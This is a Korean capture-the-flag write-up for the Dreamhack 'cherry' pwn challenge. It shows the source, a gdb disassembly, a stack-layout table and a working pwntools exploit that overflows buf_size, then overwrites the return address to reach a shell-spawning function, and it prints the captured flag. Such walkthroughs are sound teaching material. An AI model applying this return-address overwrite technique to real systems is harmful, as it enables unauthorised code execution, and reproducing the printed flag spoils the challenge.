dreamhack - cherry writeup
[dreamhack] cherry writeup
1. 문제

cherry
주어진 바이너리와 소스 코드를 분석하여 익스플로잇하고 플래그를 획득하세요! 플래그는 flag.txt 파일에 있습니다.
플래그의 형식은 DH{...} 입니다.
2. 풀이
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
void flag() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main(int argc, char *argv[]) {
int stdin_fd = 0;
int stdout_fd = 1;
char fruit[0x6] = "cherry";
int buf_size = 0x10;
char buf[0x6];
initialize();
write(stdout_fd, "Menu: ", 6);
read(stdin_fd, buf, buf_size);
if(!strncmp(buf, "cherry", 6)) {
write(stdout_fd, "Is it cherry?: ", 15);
read(stdin_fd, fruit, buf_size);
}
return 0;
}
buf
변수에 입력을 받고, 만약 cherry
라면 fruit
변수에 다시 입력을 받는 코드이다.
먼저 gdb
를 보고 각 변수의 정확한 위치를 확인해보자.
pwndbg> disass main
Dump of assembler code for function main:
0x00000000004012fe <+0>: endbr64
0x0000000000401302 <+4>: push rbp
0x0000000000401303 <+5>: mov rbp,rsp
0x0000000000401306 <+8>: sub rsp,0x30
0x000000000040130a <+12>: mov DWORD PTR [rbp-0x24],edi
0x000000000040130d <+15>: mov QWORD PTR [rbp-0x30],rsi
0x0000000000401311 <+19>: mov DWORD PTR [rbp-0x4],0x0
0x0000000000401318 <+26>: mov DWORD PTR [rbp-0x8],0x1
0x000000000040131f <+33>: mov DWORD PTR [rbp-0x12],0x72656863
0x0000000000401326 <+40>: mov WORD PTR [rbp-0xe],0x7972
0x000000000040132c <+46>: mov DWORD PTR [rbp-0xc],0x10
0x0000000000401333 <+53>: mov eax,0x0
0x0000000000401338 <+58>: call 0x401257 <initialize>
0x000000000040133d <+63>: mov eax,DWORD PTR [rbp-0x8]
0x0000000000401340 <+66>: mov edx,0x6
0x0000000000401345 <+71>: lea rcx,[rip+0xcc9] # 0x402015
0x000000000040134c <+78>: mov rsi,rcx
0x000000000040134f <+81>: mov edi,eax
0x0000000000401351 <+83>: call 0x4010e0 <write@plt>
0x0000000000401356 <+88>: mov eax,DWORD PTR [rbp-0xc]
0x0000000000401359 <+91>: movsxd rdx,eax
0x000000000040135c <+94>: lea rcx,[rbp-0x18]
0x0000000000401360 <+98>: mov eax,DWORD PTR [rbp-0x4]
0x0000000000401363 <+101>: mov rsi,rcx
0x0000000000401366 <+104>: mov edi,eax
0x0000000000401368 <+106>: call 0x401100 <read@plt>
0x000000000040136d <+111>: lea rax,[rbp-0x18]
0x0000000000401371 <+115>: mov edx,0x6
0x0000000000401376 <+120>: lea rcx,[rip+0xc9f] # 0x40201c
0x000000000040137d <+127>: mov rsi,rcx
0x0000000000401380 <+130>: mov rdi,rax
0x0000000000401383 <+133>: call 0x4010c0 <strncmp@plt>
0x0000000000401388 <+138>: test eax,eax
0x000000000040138a <+140>: jne 0x4013bc <main+190>
0x000000000040138c <+142>: mov eax,DWORD PTR [rbp-0x8]
0x000000000040138f <+145>: mov edx,0xf
0x0000000000401394 <+150>: lea rcx,[rip+0xc88] # 0x402023
0x000000000040139b <+157>: mov rsi,rcx
0x000000000040139e <+160>: mov edi,eax
0x00000000004013a0 <+162>: call 0x4010e0 <write@plt>
0x00000000004013a5 <+167>: mov eax,DWORD PTR [rbp-0xc]
0x00000000004013a8 <+170>: movsxd rdx,eax
0x00000000004013ab <+173>: lea rcx,[rbp-0x12]
0x00000000004013af <+177>: mov eax,DWORD PTR [rbp-0x4]
0x00000000004013b2 <+180>: mov rsi,rcx
0x00000000004013b5 <+183>: mov edi,eax
0x00000000004013b7 <+185>: call 0x401100 <read@plt>
0x00000000004013bc <+190>: mov eax,0x0
0x00000000004013c1 <+195>: leave
0x00000000004013c2 <+196>: ret
End of assembler dump.
처음에 stack에는 0x30
만큼 할당하지만, 변수들을 넣는 것을 보고 정리하면 아래와 같다.
변수명 | 위치 |
---|---|
rbp-0x18 | buf |
rbp-0x12 | fruit |
rbp-0xc | buf_size |
rbp-0x8 | stdout_fd |
rbp-0x4 | stdin_fd |
buf
의 크기는 6이지만, buf_size
는 0x10
이므로 buf
에 입력할때 buf_size
까지 덮을 수 있는 bof
취약점이 존재한다.
따라서 처음 덮을 때 buf
와 fruit
를 똑같이 맞춰주고, 그뒤 buf_size
를 임의로 늘리면 두번째 read
함수 실행 때 리턴주소를 조작할 수 있다.
payload를 정리해보면 아래와 같다.
payload1 = buf (6 bytes) + fruit (6 bytes) + buf_size (4 bytes) # ex) cherrycherry1000
payload2 = dummy (0x18 bytes) + sfp (8 bytes) + flag_addr (8 bytes)
flag
함수 주소는 no-pie
이므로 고정주소로 쉽게 구할 수 있다.
최종 exploit은 아래와 같다.
from pwn import *
p = process("./chall")
p = remote("host3.dreamhack.games", 11896)
elf = ELF("./chall")
flag = elf.symbols["flag"]
p.recvuntil("Menu: ")
p.send(b"cherrycherry1000")
p.recvuntil("Is it cherry?: ")
payload = b''
payload += b'a' * 18
payload += b'b' * 8
payload += p64(flag)
p.send(payload)
p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level1/cherry$ python3 e_chall.py
[+] Starting local process './chall': pid 2204289
[+] Opening connection to host3.dreamhack.games on port 11896: Done
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level1/cherry/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
/home/ubuntu/dreamhack/level1/cherry/e_chall.py:9: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("Menu: ")
/home/ubuntu/dreamhack/level1/cherry/e_chall.py:12: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("Is it cherry?: ")
[*] Switching to interactive mode
$ cat flag
DH{0d88cd8c8c1123b99fb478e60ff081cea9bfecc925d72609ab061b8279c83709}
해결~